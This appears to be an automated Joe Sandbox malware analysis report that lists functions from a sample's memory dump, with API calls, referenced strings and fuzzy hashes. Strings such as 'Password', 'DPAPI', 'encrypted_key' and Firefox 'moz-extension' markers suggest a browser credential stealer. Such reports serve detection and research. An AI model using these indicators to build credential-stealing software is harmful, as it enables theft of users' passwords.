Opcode ID: 11e96b5f598d36b5145eb5ca339976e7cb65ddbe81ead056b2f3bcd54bd5f766
Instruction ID: 54c0e4e4c236f1d7f0585d8ba6b1fa909b8b3bfc40374ef6a46e6daa0de72561
Opcode Fuzzy Hash: 11e96b5f598d36b5145eb5ca339976e7cb65ddbe81ead056b2f3bcd54bd5f766
Instruction Fuzzy Hash: 1341B1B1D04248EBDB20DFA4CC45BEEBBB8AF08714F14009DF50967281D7786A84CBA9

Function 00407310 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 149memoryCOMMON

Download Yara Rule

APIs

memset.MSVCRT(?,00000000,000003FF,?,0040762B,00407CD0,80000001,00415CA4,?,?,?,?,?,00407CD0,?), ref: 00407354
GetProcessHeap.KERNEL32(00000000,?,?,?,?,?,00407CD0,80000001,00415CA4,?,?,?,?,?,00407CD0,?), ref: 00407492

Part of subcall function 00409290: vsprintf_s.MSVCRT(?,00000400,?,?,?,?,004074DF,?,0042179C,?), ref: 004092AB

task.LIBCPMTD ref: 00407595

Strings

Password, xrefs: 00407441

Memory Dump Source

Source File: 00000008.00000002.2738630098.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2738630098.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_8ec8c5c339.jbxd

Similarity

API ID: HeapProcessmemsettaskvsprintf_s
String ID: Password
API String ID: 1253118141-3434357891
Opcode ID: e183b5279ab9e6df2eb167b03a4cc02d75207c5ff0d2bc4bafbb891a8174e7a2
Instruction ID: 975b1f2fff90f96d03099a1470760af69fc6b50b1064dc5ad3510b71ddc5061f
Opcode Fuzzy Hash: e183b5279ab9e6df2eb167b03a4cc02d75207c5ff0d2bc4bafbb891a8174e7a2
Instruction Fuzzy Hash: 52613DB5D041689BDB24DF50CC41BDAB7B8BF48304F0081EAE689A6181DFB46BC9CF95

Function 00401220 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 00401258
__aulldiv.LIBCMT ref: 00401266
ExitProcess.KERNEL32 ref: 00401294

Strings

@, xrefs: 00401233

Memory Dump Source

Source File: 00000008.00000002.2738630098.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2738630098.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_8ec8c5c339.jbxd

Similarity

API ID: __aulldiv$ExitProcess
String ID: @
API String ID: 1471141222-2766056989
Opcode ID: ea570c17900da72c0ff61e466dfdba6c639ea0a5e55046902d87947f1e012f1f
Instruction ID: 3a295e2926d3a661784167dae5cc93d3585e5da9a2cb48fc087cd8b2851d2611
Opcode Fuzzy Hash: ea570c17900da72c0ff61e466dfdba6c639ea0a5e55046902d87947f1e012f1f
Instruction Fuzzy Hash: 8601FBB0D40308BAEB10EBE4DD49B9EBB78AB14705F20809EEA05B62D0D7785585875D

Function 0040A6C0 Relevance: 6.7, APIs: 5, Instructions: 494memorystringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A1F0: lstrlenA.KERNEL32(00000000,?,?,00415634,00420AC3,00420AC2,?,?,004165B6,00000000,?,024A64F8,?,004210DC,?,00000000), ref: 0041A1FB

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0040A9F2
HeapAlloc.KERNEL32(00000000), ref: 0040A9F9
lstrlenA.KERNEL32(?), ref: 0040AC95
lstrlenA.KERNEL32(?), ref: 0040ACA4
memset.MSVCRT(?,00000000,00000004), ref: 0040ACF3

Part of subcall function 00409E60: memcmp.MSVCRT(0040B741,v10,00000003), ref: 00409E7B
Part of subcall function 00409E60: memset.MSVCRT(?,00000000,00000040), ref: 00409EAE

Memory Dump Source

Source File: 00000008.00000002.2738630098.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2738630098.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_8ec8c5c339.jbxd

Similarity

API ID: lstrlen$Heapmemset$AllocProcessmemcmp
String ID:
API String ID: 1710973362-0
Opcode ID: 817110dbf6369b10d743006ff494239070760aaa47c84b2c744768fcda3b79f6
Instruction ID: db3bf564d8a269597709baab17c241dc92c2864a2a44399f5d1cb95b81495e87
Opcode Fuzzy Hash: 817110dbf6369b10d743006ff494239070760aaa47c84b2c744768fcda3b79f6
Instruction Fuzzy Hash: 13029371901108ABCB14EBA1DC96EEE7339BF54314F10416EF507B20A1DF786E99CB6A

Function 0040CD30 Relevance: 6.6, APIs: 5, Instructions: 374memorystringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0040CF07
HeapAlloc.KERNEL32(00000000), ref: 0040CF0E
lstrlenA.KERNEL32(?), ref: 0040D16A
lstrlenA.KERNEL32(?), ref: 0040D179
memset.MSVCRT(?,00000000,00000004), ref: 0040D1C8

Part of subcall function 0041A1F0: lstrlenA.KERNEL32(00000000,?,?,00415634,00420AC3,00420AC2,?,?,004165B6,00000000,?,024A64F8,?,004210DC,?,00000000), ref: 0041A1FB

Memory Dump Source

Source File: 00000008.00000002.2738630098.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2738630098.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_8ec8c5c339.jbxd

Similarity

API ID: lstrlen$Heap$AllocProcessmemset
String ID:
API String ID: 3990229974-0
Opcode ID: c8949976f589e4e98a292bf423720625dbd2cf614d98710a518b00b33f6a1f88
Instruction ID: ed6c437cbd46477d92e2fdf931dfcacd4144c719bc88927133304dc8b30d11c2
Opcode Fuzzy Hash: c8949976f589e4e98a292bf423720625dbd2cf614d98710a518b00b33f6a1f88
Instruction Fuzzy Hash: 25E1A271901108ABCB14EBA0DC9AEEE7339AF54314F50415EF507B30A1DF786E99CB6A

Function 00417DC0 Relevance: 6.2, APIs: 1, Strings: 3, Instructions: 196COMMON

Download Yara Rule

Strings

- , xrefs: 00418043
?, xrefs: 00417E1A
%s\%s, xrefs: 00417EED

Memory Dump Source

Source File: 00000008.00000002.2738630098.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2738630098.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_8ec8c5c339.jbxd

Similarity

API ID:
String ID: - $%s\%s$?
API String ID: 0-3278919252
Opcode ID: 229a34cb7c2866d69f95cdc4ddc0229c6f5f61782d3d7cea4faf0875c4498218
Instruction ID: 7e933c005afce5063b6ac28d37290dd0de40035e7daa9b78ce1efab2f7c43410
Opcode Fuzzy Hash: 229a34cb7c2866d69f95cdc4ddc0229c6f5f61782d3d7cea4faf0875c4498218
Instruction Fuzzy Hash: 3581197191111CABDB28DB54CC85FEAB7B9BF08314F0082D9E10AA6190DF756BC9CFA5

Function 00409D30 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 97COMMON

Download Yara Rule

APIs

memcmp.MSVCRT(?,DPAPI,00000005), ref: 00409DE2

Part of subcall function 00409BB0: memcpy.MSVCRT(?,?,?), ref: 00409C16

Strings

, xrefs: 00409E11
DPAPI, xrefs: 00409DD9
"encrypted_key":", xrefs: 00409D80

Memory Dump Source

Source File: 00000008.00000002.2738630098.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2738630098.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_8ec8c5c339.jbxd

Similarity

API ID: memcmpmemcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 1784268899-738592651
Opcode ID: 26adcde02c4680da5536f08a3ab25de395cf6bc5a1552881adb5713740cb9222
Instruction ID: 7f392d33d6ad21de2d61bb21213a98381b23072c845d074b64d64ac31095145a
Opcode Fuzzy Hash: 26adcde02c4680da5536f08a3ab25de395cf6bc5a1552881adb5713740cb9222
Instruction Fuzzy Hash: 7A3150B5D00108ABCB04DBE4DC45AEF77B8AF48304F44856AE915B3282E7789E44CBA5

Function 00407750 Relevance: 5.6, APIs: 4, Instructions: 584memorystringCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,0098967F,?,00415CA4,?), ref: 00407764
HeapAlloc.KERNEL32(00000000,?,00415CA4,?), ref: 0040776B

Part of subcall function 00407610: task.LIBCPMTD ref: 0040773B

lstrlenA.KERNEL32(2F23B020), ref: 00407E6B
lstrlenA.KERNEL32(2F23B020), ref: 00407E7B

Memory Dump Source

Source File: 00000008.00000002.2738630098.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2738630098.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_8ec8c5c339.jbxd

Similarity

API ID: Heaplstrlen$AllocProcesstask
String ID:
API String ID: 4112063358-0
Opcode ID: 182ae1ed2f8d26e872c664b2479cf3bc4cd865b6e3a7470a54644f0512f235c0
Instruction ID: 1e9b08135f7dcdfaa8f2c2dd520ea7fbbb4c73797e410f6fed26cf7179196423
Opcode Fuzzy Hash: 182ae1ed2f8d26e872c664b2479cf3bc4cd865b6e3a7470a54644f0512f235c0
Instruction Fuzzy Hash: 8B3264B2C00615ABCB25EBA0DC89DDE773DAB48704F444A9DF60962090EE79E7C5CF64

Function 004060F0 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 133fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00404800: ??_U@YAPAXI@Z.MOZGLUE(00000800), ref: 0040483A
Part of subcall function 00404800: ??_U@YAPAXI@Z.MOZGLUE(00000800), ref: 00404851
Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404868
Part of subcall function 00404800: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404889

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 0040625A

Strings

q&A, xrefs: 00406100, 004061CF, 004062B6, 00406174, 00406103
q&A, xrefs: 0040629F, 00406228, 0040622B, 004062A2

Memory Dump Source

Source File: 00000008.00000002.2738630098.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2738630098.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_8ec8c5c339.jbxd

Similarity

API ID: ??2@FileWritelstrlen
String ID: q&A$q&A
API String ID: 563824324-3681770271
Opcode ID: b38a372bbf65ac042d1d72ff4a219f04d22188d0fd19f0ac0b6a98b30744770e
Instruction ID: 439f38139d03757dc0e639f6b6df0271613160f362a72270d2c4ade6ce016e72
Opcode Fuzzy Hash: b38a372bbf65ac042d1d72ff4a219f04d22188d0fd19f0ac0b6a98b30744770e
Instruction Fuzzy Hash: C15161B1A00218ABDB20EF50CD49FEE7779AF44305F1081ADB606B71C1DB786A95CF99

Function 0040F2E0 Relevance: 4.7, APIs: 1, Strings: 2, Instructions: 154stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395

lstrlenA.KERNEL32(00000000), ref: 0040F3AB

Strings

moz-extension+++, xrefs: 0040F3ED
^userContextId=4294967295, xrefs: 0040F3DC

Memory Dump Source

Source File: 00000008.00000002.2738630098.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2738630098.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_8ec8c5c339.jbxd

Similarity

API ID: lstrlen
String ID: ^userContextId=4294967295$moz-extension+++
API String ID: 1659193697-3310892237
Opcode ID: 6d45bc6b0aabfc88bbc97032417ca2eb2653cefcc58833787b3002688a628f5b
Instruction ID: 29c62e45bd112fa8e6d3d1c16e218030d21c495d55cc38802304d1b40baba72e
Opcode Fuzzy Hash: 6d45bc6b0aabfc88bbc97032417ca2eb2653cefcc58833787b3002688a628f5b
Instruction Fuzzy Hash: D2513175D01108AACB04FBB1DC56DEE7338AF94314F40812EF81767191EE7C6A58CB6A

Function 00417130 Relevance: 4.5, APIs: 2, Strings: 1, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00417144
HeapAlloc.KERNEL32(00000000), ref: 0041714B

Strings

Windows 11, xrefs: 0041715D

Memory Dump Source

Source File: 00000008.00000002.2738630098.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2738630098.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_8ec8c5c339.jbxd

Similarity

API ID: Heap$AllocProcess
String ID: Windows 11
API String ID: 1617791916-2517555085
Opcode ID: 7e52da74aeff6e087cb32fc56a687b6502875dfd8540e0d42b3236aa97f07f61
Instruction ID: 198b37f2a351322ee600fb862932720b373255b2f394089b4190a5419862cb8c
Opcode Fuzzy Hash: 7e52da74aeff6e087cb32fc56a687b6502875dfd8540e0d42b3236aa97f07f61
Instruction Fuzzy Hash: 4C018F74A40208BFEB10DFE4DD49FAE7779EB08710F104098FA0997290D6749A428B64

Function 004171C0 Relevance: 4.5, APIs: 2, Strings: 1, Instructions: 42memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 004171D4
HeapAlloc.KERNEL32(00000000), ref: 004171DB

Strings

CurrentBuildNumber, xrefs: 00417211

Memory Dump Source

Source File: 00000008.00000002.2738630098.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2738630098.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_8ec8c5c339.jbxd

Similarity

API ID: Heap$AllocProcess
String ID: CurrentBuildNumber
API String ID: 1617791916-1022791448
Opcode ID: 6c07f27ec60b8ac9df4e5178828e9d35e6ab3eda5138c8e540781496da3810dc
Instruction ID: 00cad297c96af00baba5933f046dbcc6cd847f8af16dedc1aa1025fe7f1f3d79
Opcode Fuzzy Hash: 6c07f27ec60b8ac9df4e5178828e9d35e6ab3eda5138c8e540781496da3810dc
Instruction Fuzzy Hash: EE014FB9A40708BFDB10DFE0DC4AFAEB779EB08704F104558FA05A7291D674AA418B55

Function 6C1C3060 Relevance: 4.5, APIs: 3, Instructions: 36timeCOMMON

Download Yara Rule

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6C1C3095

Part of subcall function 6C1C35A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6C24F688,00001000), ref: 6C1C35D5
Part of subcall function 6C1C35A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C1C35E0
Part of subcall function 6C1C35A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6C1C35FD
Part of subcall function 6C1C35A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C1C363F
Part of subcall function 6C1C35A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C1C369F
Part of subcall function 6C1C35A0: __aulldiv.LIBCMT ref: 6C1C36E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C1C309F

Part of subcall function 6C1E5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C1E56EE,?,00000001), ref: 6C1E5B85
